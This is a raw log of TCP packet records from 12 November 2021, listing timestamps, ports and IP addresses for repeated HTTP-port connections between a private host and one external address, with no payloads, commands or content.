Nov 12, 2021 22:23:45.092194080 CET	49910	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.114514112 CET	80	49910	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.118091106 CET	80	49910	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.118243933 CET	49910	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.236031055 CET	49910	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.238550901 CET	49911	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.258394957 CET	80	49910	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.258529902 CET	49910	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.260888100 CET	80	49911	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.260989904 CET	49911	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.261550903 CET	49911	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.262882948 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.283936977 CET	80	49911	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.285398006 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.285533905 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.286550045 CET	80	49911	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.286746979 CET	49911	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.286794901 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.287026882 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.287492990 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.287743092 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.309366941 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.309459925 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310030937 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310053110 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310081959 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310101986 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310127974 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310164928 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.310209036 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.310229063 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.310260057 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310277939 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310306072 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310326099 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310370922 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.310408115 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.310425997 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.310491085 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.333152056 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333182096 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333213091 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333231926 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333250999 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333268881 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333297014 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333333969 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.333378077 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333396912 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333424091 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333448887 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333467007 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.333523035 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333532095 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.333570957 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333590031 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333611012 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.333647966 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333666086 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333712101 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.333759069 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.333831072 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333848953 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333873987 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.333954096 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.334033966 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.356389046 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356403112 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356419086 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356445074 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356467009 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356547117 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.356595039 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.356601954 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.356627941 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356637001 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356647968 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356695890 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356709003 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.356736898 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356744051 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356772900 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.356790066 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356893063 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356900930 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.356913090 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357036114 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357048035 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357054949 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357067108 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357074976 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357151985 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357183933 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357271910 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357280016 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357291937 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357300997 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357352972 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357426882 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357465982 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357472897 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357604027 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357613087 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357625008 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357666016 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357676983 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357702971 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357832909 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.357845068 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379168034 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379189014 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379268885 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379276991 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379321098 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379328966 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379340887 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379349947 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379425049 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379434109 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379445076 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379451990 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379481077 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379553080 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379560947 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379573107 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.379605055 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.382317066 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.382477045 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.392956972 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.420675993 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.420775890 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.534764051 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.536268950 CET	49911	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.543108940 CET	49913	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.558037996 CET	80	49912	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.558219910 CET	49912	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.558497906 CET	80	49911	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.558588982 CET	49911	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.565718889 CET	80	49913	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.566055059 CET	49913	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.568892002 CET	49913	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.591444016 CET	80	49913	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.595460892 CET	80	49913	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.595628977 CET	49913	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.767937899 CET	49913	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.770082951 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.790599108 CET	80	49913	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.792372942 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.792959929 CET	49913	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.793047905 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.935548067 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:45.957982063 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.962323904 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:45.962414026 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.025098085 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.025178909 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.025366068 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.025491953 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.047588110 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.047626972 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.047658920 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.047741890 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.047744036 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.047761917 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.047808886 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.047837973 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.047847986 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.047883034 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.047898054 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.047956944 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.070235968 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070264101 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070276022 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070306063 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070323944 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070338964 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070470095 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070529938 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.070585012 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070589066 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.070601940 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070614100 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.070619106 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.070657969 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.082865000 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.083468914 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.089761019 CET	49915	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093106985 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093131065 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093147039 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093163967 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093202114 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093216896 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093219042 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093245029 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093247890 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093250990 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093272924 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093302965 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093306065 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093446970 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093462944 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093477011 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093481064 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093497992 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093497992 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093506098 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093514919 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093530893 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093564987 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093576908 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093580008 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093604088 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093643904 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093674898 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093710899 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.093729019 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093744993 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.093767881 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.105344057 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.105364084 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.105380058 CET	80	49914	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.105513096 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.105559111 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.105562925 CET	49914	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.112200022 CET	80	49915	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.112404108 CET	49915	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.119458914 CET	49915	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.141858101 CET	80	49915	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.145697117 CET	80	49915	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.145803928 CET	49915	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.280354977 CET	49915	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.294538975 CET	49916	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.302839994 CET	80	49915	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.302949905 CET	49915	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.317032099 CET	80	49916	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.317279100 CET	49916	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.318733931 CET	49916	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.341042042 CET	80	49916	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.346065044 CET	80	49916	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.346183062 CET	49916	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.455852032 CET	49917	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.455856085 CET	49916	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.478347063 CET	80	49917	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.478389025 CET	80	49916	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.478477955 CET	49917	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.478534937 CET	49916	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.479212999 CET	49917	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.501466036 CET	80	49917	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.504889011 CET	80	49917	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.504967928 CET	49917	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.613874912 CET	49917	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.615458965 CET	49918	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.636279106 CET	80	49917	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.636362076 CET	49917	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.637800932 CET	80	49918	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.637902021 CET	49918	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.651496887 CET	49918	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.655292034 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.673787117 CET	80	49918	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.676376104 CET	80	49918	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.676450014 CET	49918	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.677747011 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.677846909 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.678769112 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.678903103 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.679142952 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.679253101 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.701230049 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.701267958 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.701410055 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.701466084 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.701642990 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.701715946 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.701745033 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.701757908 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.701770067 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.701801062 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.701809883 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.701841116 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.701853991 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.724303961 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.724344015 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.724361897 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.724400043 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.724466085 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.724471092 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.724520922 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.724548101 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.724601030 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.724685907 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.724701881 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.724716902 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.724730968 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.724735975 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.724773884 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.724805117 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.725706100 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.747051954 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.747087002 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.747152090 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.747180939 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.748069048 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.748099089 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.748115063 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.748127937 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.748131990 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.748142004 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.748152971 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.748163939 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.748169899 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.748181105 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.748186111 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.748188019 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.748210907 CET	80	49919	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.748213053 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.748233080 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.748251915 CET	49919	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.789335966 CET	49918	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.791261911 CET	49920	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.811894894 CET	80	49918	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.811984062 CET	49918	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.813834906 CET	80	49920	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.813977957 CET	49920	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.814727068 CET	49920	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:46.837311983 CET	80	49920	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.840790987 CET	80	49920	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:46.840894938 CET	49920	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.387837887 CET	49920	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.390199900 CET	49921	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.410559893 CET	80	49920	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.410665989 CET	49920	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.412528038 CET	80	49921	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.412628889 CET	49921	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.417336941 CET	49921	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.439677954 CET	80	49921	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.444164038 CET	80	49921	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:47.444230080 CET	49921	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.568310022 CET	49921	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:47.569535017 CET	49922	80	192.168.2.4	178.208.83.45
